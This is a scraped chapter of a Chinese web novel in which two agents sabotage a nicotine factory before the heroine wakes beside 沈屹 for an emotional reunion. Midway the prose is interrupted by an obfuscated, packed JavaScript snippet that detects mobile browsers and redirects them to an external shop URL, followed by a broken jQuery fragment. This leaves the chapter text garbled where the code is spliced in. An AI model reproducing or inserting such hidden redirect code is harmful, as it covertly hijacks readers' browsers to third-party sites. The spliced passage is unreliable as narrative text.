文趣网 > 其他小说 > 执念清零事务所 > 50. 烟鬼
    整座工厂像蛰伏的巨兽逐渐苏醒,每一台器械都缓慢运转起来。

    秦臻攀着器械边缘跃上机器顶部,飞奔向刚才看见的堆放原料的位置。

    一个墙角处高高码着几十箱铁皮箱子,上面写着【NIC-047;净重:25kg】。

    秦臻掏出枪给了每个箱子一枪,黏糊的淡黄色液体缓缓渗出,在铁皮箱底积了一滩。

    倒计时还有四分钟。

    不行,这样还是太慢了。

    她抬头看了一眼大屏幕的时间,耳麦里听见已经有人在返回控制室的路上了。

    “温压弹全部就位,已投放完毕。”耳麦里传来庄浩嘉沉稳的声音。

    时间不够了。

    秦臻干脆猛地一跃,跳上原料堆,用力一脚踹翻顶端的铁皮箱子。

    箱子砸在地上裂开一道大口子,液体迅速蔓延开来,头盔面罩上尼古丁含量的数值也开始急剧飙升。

    她如法炮制,连踢带踹加推,高处的几十个箱子全部稀里哗啦散落一地。

    淡黄色液体汇聚成一滩积水,向四方蔓延。

    “我破坏了尼古丁高浓度原料,大家注意防护。”

    秦臻跳落地面,最后对着一根连接原料处的管道再补一枪。

    “呲——”

    管道破口处飙出一股黄色液体,溅在墙上滋滋作响,四处飞溅。

    下一秒,整座工厂响起刺耳的警报声。红色的警示灯疯狂旋转,照亮了每一个角落。

    远处传来杂乱的脚步声和叫喊声。

    “快!别让人跑了!”

    秦臻没再回头多看,转身快速往控制室跑去。

    面罩内显示的温度、湿度和尼古丁含量都在逐步攀升,但大屏幕上依旧如常。

    前方通道口突然冲进来四个全副武装的烟人。秦臻避无可避只得迅速扔出一枚闪光弹,这扔飞镖的手法还是她和曾琦偷师的。

    闪光弹爆开的瞬间,秦臻右手也扣动手枪扳机。

    一片夺目的白光中,秦臻听见子弹击中了其中一人,而对方的子弹擦着她头盔边缘而过,子弹打在金属外壳上溅出一连串的火花。

    她侧身滑进旁边的机器后方,从另一侧探出枪口,瞄准对方面门而去。

    听见重物倒地的声音,秦臻随即踮起脚,目光掠过那人的后背,灵骸还在一张一合,她立马抬手又补了一枪。

    见灵骸彻底停止蠕动,秦臻才抓着机器凸出的部分脚下一蹬,迅速沿着墙壁飞奔出去。

    反正已经暴露,秦臻干脆沿路连续扔出多个震爆弹,一路狂奔钻进控制室大门。

    屋内只有谢文敬站在通风口下。

    倒计时三十五秒。

    “就等你了。”

    谢文敬隔着头盔比了个手势,让秦臻先上。

    秦臻也没客气,踩着椅子一跃而起,挂在管道壁口。小腿被谢文敬抱着往上一推,秦臻顺势将自己拉了上去。

    她转头伸手去接谢文敬,对方却摆摆手,往后退了一步,猛地助跑踩过凳子飞到管道边缘扒着。

    他还腾出一只手,扭头对着控制室的大屏和控制面板连开数枪。

    弹壳叮叮当当掉落一地,屋内火花噼里啪啦。两人迅速钻进通道,谢文敬还不忘把铁栅栏放回原处。

    隔着铁栅栏,秦臻已经能看见控制室外的地面上,三五成群的人四处乱蹿。咳嗽声、惨叫声、混乱的脚步声混成一片。

    下面那些东倒西歪的身影背上,全是密密麻麻的灵骸,如同一片盛放的黑色花海。

    头盔屏幕上的倒计时归零,温压弹投放完毕。

    秦臻不再细看,只顺手往控制室内扔下最后一个催泪瓦斯。

    见谢文敬扭头看过来,她解释道:“以防万一有人活着到这里。”

    话还没说完,地底深处传来一声沉闷的震颤。

    两人快速往上爬,秦臻还能听见谢文敬在身后的感慨声。

    “沈屹不在的时候,你是真狠啊。”

    秦臻没精力回怼他,一边快速往上爬,一边注意头盔里的数值变化。

    哪怕两人已经进入管道往上走了不少距离,头盔面罩显示的温度、湿度和尼古丁含量还在极速攀升。

    就算是穿着特殊面料制成的战术服,秦臻也开始发热了。

    白色烟雾向上弥漫,很快就追上了秦臻,烟窟高频率的警报声隔着战术头盔都刺痛了她的耳朵。

    手肘、膝盖下的管道内壁越来越烫手,秦臻突然乐了:“谢文敬,你说我们像不像铁板烧?”

    “啧,如果是铁板烧,那我就是最昂贵的和牛。”

    秦臻头也不回大声问道:“你知道和牛为什么这么贵吗?”

    “因为肥美?”

    “对……和牛体脂率没你低。”

    身后安静了几秒才传来谢文敬的怒吼:“你到底在夸我体脂低,还是在骂我便宜?!”

    两人虽然斗着嘴,但爬行的速度没有丝毫减弱。

    秦臻把手缩回衣袖里,努力往上爬。

    她心里只有一个念头,至少在执念空间被清零前,让她亲自看一眼沈屹。

    轰鸣声从地底深处山呼海啸而来,震得管壁簌簌颤抖。秦臻的指尖扣紧了内壁缝隙才能维持住身形。

    不好,难道真会塌方?

    秦臻大喊谢文敬,但声音被轰鸣声完全淹没。

    她扭头往回看,跟在后面的男人竖起大拇指表示自己没事,但秦臻看得清清楚楚,他背上的纱布已经完全被鲜血浸透。

    【谢谢您的努力,烟窟已被毁灭】。

    大脑里清晰地传来平静的电子音。

    秦臻沮丧地看向管道远处,有个光点一晃而过。

    轰鸣声逐渐消散,谢文敬掀开头盔面罩,斜靠着管道内壁,冲秦臻挑着眉坏笑。

    “回见。”

    一切都归于黑暗。

    秦臻从小就爱睡觉,没人叫能一口气睡上个十个小时不带醒的。

    为此秦觅还专门带她去看了睡眠专家,结果一切正常。

    后来秦家都约定俗成,只要秦臻不起床,绝不打扰她。

    秦臻睡得迷迷糊糊,翻过身用力蹭蹭枕头,她伸长胳膊腿,绷直脚尖伸了个十足的懒腰。然后顺手把被子捏在手心,真舒服啊。

    秦臻特别喜欢长绒棉的手感,每次睡觉时都要捏在手里。

    为此沈屹还笑话过她,说她是小猫踩奶。

    耳边有极轻极轻的笑声一飘而过。

    秦臻翻个身,嘴里嘟囔着:“别吵我,沈屹……”

    沈屹?

    脑子里走马灯似的倒放起了毁灭烟窟前的画面

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628033|204100||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,最后定格在了悬挂在房梁下的男人身上。

    秦臻几乎是尖叫着弹起来的,还没坐稳就被人揽入怀中。

    “做噩梦了?”

    熟悉的温度不间断落在耳侧、脸颊。

    对上沈屹的视线,秦臻呆滞地去捏他脸颊。

    触感细腻温润,是热的。

    她一把搂住沈屹的脖子,直直撞进他怀里,明明是想说话的,开口却只能发出狼狈的哭声。

    哭到最后眼睛又干又涩,鼻子被堵得死死的,只能张着嘴呼吸。全身都被抽空了力气,掐着他的手指尖微微发麻。

    “哭出来舒服点了吗?”

    沈屹湿润的嘴唇自脸颊划过,带走了残留的泪痕。

    “嗯……”

    她挤出一声黏腻的鼻音,立马有抽纸递到鼻子前,轻轻按在鼻头上。

    擤完鼻涕秦臻终于能用鼻子呼吸了,她抽噎着把脸埋进沈屹怀里,抱怨着对方的种种行为。

    “乖,坐起来说,我一个字都没听清。”

    秦臻心里还难受,又捶了沈屹一拳。

    拳头陷入肌肉触感的瞬间,她猛然想起记忆中惨不忍睹的画面,赶忙抬手掀开沈屹的上衣,露出大面积紧致的胸腹肌。

    没有血迹,没有伤痕,甚至连半点淤青都没有。

    只有饱满的肌肉随着心跳呼吸一起一伏。

    “臻臻,我没事。”

    沈屹拽着衣服下摆想放下来,却被秦臻死死扣着不放,他只得作罢,轻拍了两下秦臻的后背。

    “执念空间一旦被收回,在里面经历的一切都不会带出来,包括身体上的伤。”

    秦臻盯着看了几秒,突然把脸贴上沈屹的胸口,一句话也不说。

    而沈屹只在秦臻刚贴上去的瞬间抖了一抖,便没有任何动静,他也不说话,只是默默收紧了抱着秦臻的双臂。

    “小时候,每天早上我都是坐在你腿上让你给我编小辫儿,每天你都换着花样编,同学们可羡慕我了。”

    “嗯,我记得,放学了你非要拉着我去见班里同学,说他们不信是哥哥编的。”

    秦臻抬起头,手横在他肩头,凑得极近。

    “那后来为什么你突然不让我坐你腿上梳头发了?”

    沈屹还沉浸在回忆的温馨中,眉眼间都是柔软的笑意。

    情绪被这突然的质问打断,他嘴角的笑容渐渐消散,眨眨眼刚要错开视线,就被秦臻捧着脸扭回去。

    “回答我。”

    见他喉头滚动,秦臻把手按在了喉结上,鼻头抵着沈屹鼻头,语气认真:“你打算把这个答案藏多久?”

    僵持许久,最终还是沈屹先认输。

    他叹口气:“其实你知道为什么,对吗?”

    “对,但我想听你说出来。”

    “臻臻。”

    沈屹的喉结在掌心下滚动,皮肤越来越烫。

    “因为我长大了。”他垂下眼,睫毛在眼下投出一小片阴影,“你也长大了。”

    话到这里没有再继续,秦臻迟疑几秒还是松开手环抱住沈屹,把脸埋进他的胸膛。

    她知道沈屹还有话没说完,但没关系,能逼他说出这些已经是天大的进步了。

    秦臻不是个没有耐心的人,尤其对于沈屹。

    “你能不能答应我一件事?”